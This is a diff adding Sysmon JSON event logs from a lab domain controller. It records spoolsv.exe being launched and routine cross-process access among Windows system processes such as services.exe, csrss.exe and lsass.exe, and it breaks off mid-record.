+{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1073,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.261\r\nProcessGuid: {90617006-3FE4-5F2D-0000-00107A0C0200}\r\nProcessId: 1884\r\nImage: C:\\Windows\\System32\\spoolsv.exe\r\nFileVersion: 10.0.14393.3808 (rs1_release.200707-2105)\r\nDescription: Spooler SubSystem App\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: spoolsv.exe\r\nCommandLine: C:\\Windows\\System32\\spoolsv.exe\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=0105816460F59AAC077848616872DD7C,SHA256=37297B9EED859DBA103252CD3CFDBD88DC752C96D001A3C0E5FBF9F11D2ABAFF,IMPHASH=5788588905781015CF350C5A9ABBA1F2\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.261","ProcessGuid":"{90617006-3FE4-5F2D-0000-00107A0C0200}","Image":"C:\\Windows\\System32\\spoolsv.exe","FileVersion":"10.0.14393.3808 (rs1_release.200707-2105)","Description":"Spooler SubSystem App","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"spoolsv.exe","CommandLine":"C:\\Windows\\System32\\spoolsv.exe","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=0105816460F59AAC077848616872DD7C,SHA256=37297B9EED859DBA103252CD3CFDBD88DC752C96D001A3C0E5FBF9F11D2ABAFF,IMPHASH=5788588905781015CF350C5A9ABBA1F2","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1074,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.266\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1152\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107A0C0200}\r\nTargetProcessId: 1884\r\nTargetImage: C:\\Windows\\System32\\spoolsv.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d7ae|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.266","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1152","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107A0C0200}","TargetProcessId":"1884","TargetImage":"C:\\Windows\\System32\\spoolsv.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d7ae|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1075,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.266\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107A0C0200}\r\nTargetProcessId: 1884\r\nTargetImage: C:\\Windows\\System32\\spoolsv.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.266","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107A0C0200}","TargetProcessId":"1884","TargetImage":"C:\\Windows\\System32\\spoolsv.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1076,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.266\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 936\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107A0C0200}\r\nTargetProcessId: 1884\r\nTargetImage: C:\\Windows\\System32\\spoolsv.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.266","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"936","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107A0C0200}","TargetProcessId":"1884","TargetImage":"C:\\Windows\\System32\\spoolsv.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1077,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.281\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107A0C0200}\r\nTargetProcessId: 1884\r\nTargetImage: C:\\Windows\\System32\\spoolsv.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.281","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107A0C0200}","TargetProcessId":"1884","TargetImage":"C:\\Windows\\System32\\spoolsv.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1078,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.281\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107A0C0200}\r\nTargetProcessId: 1884\r\nTargetImage: C:\\Windows\\System32\\spoolsv.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.281","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107A0C0200}","TargetProcessId":"1884","TargetImage":"C:\\Windows\\System32\\spoolsv.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1079,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.281\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.281","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1080,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.281\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.281","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1081,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 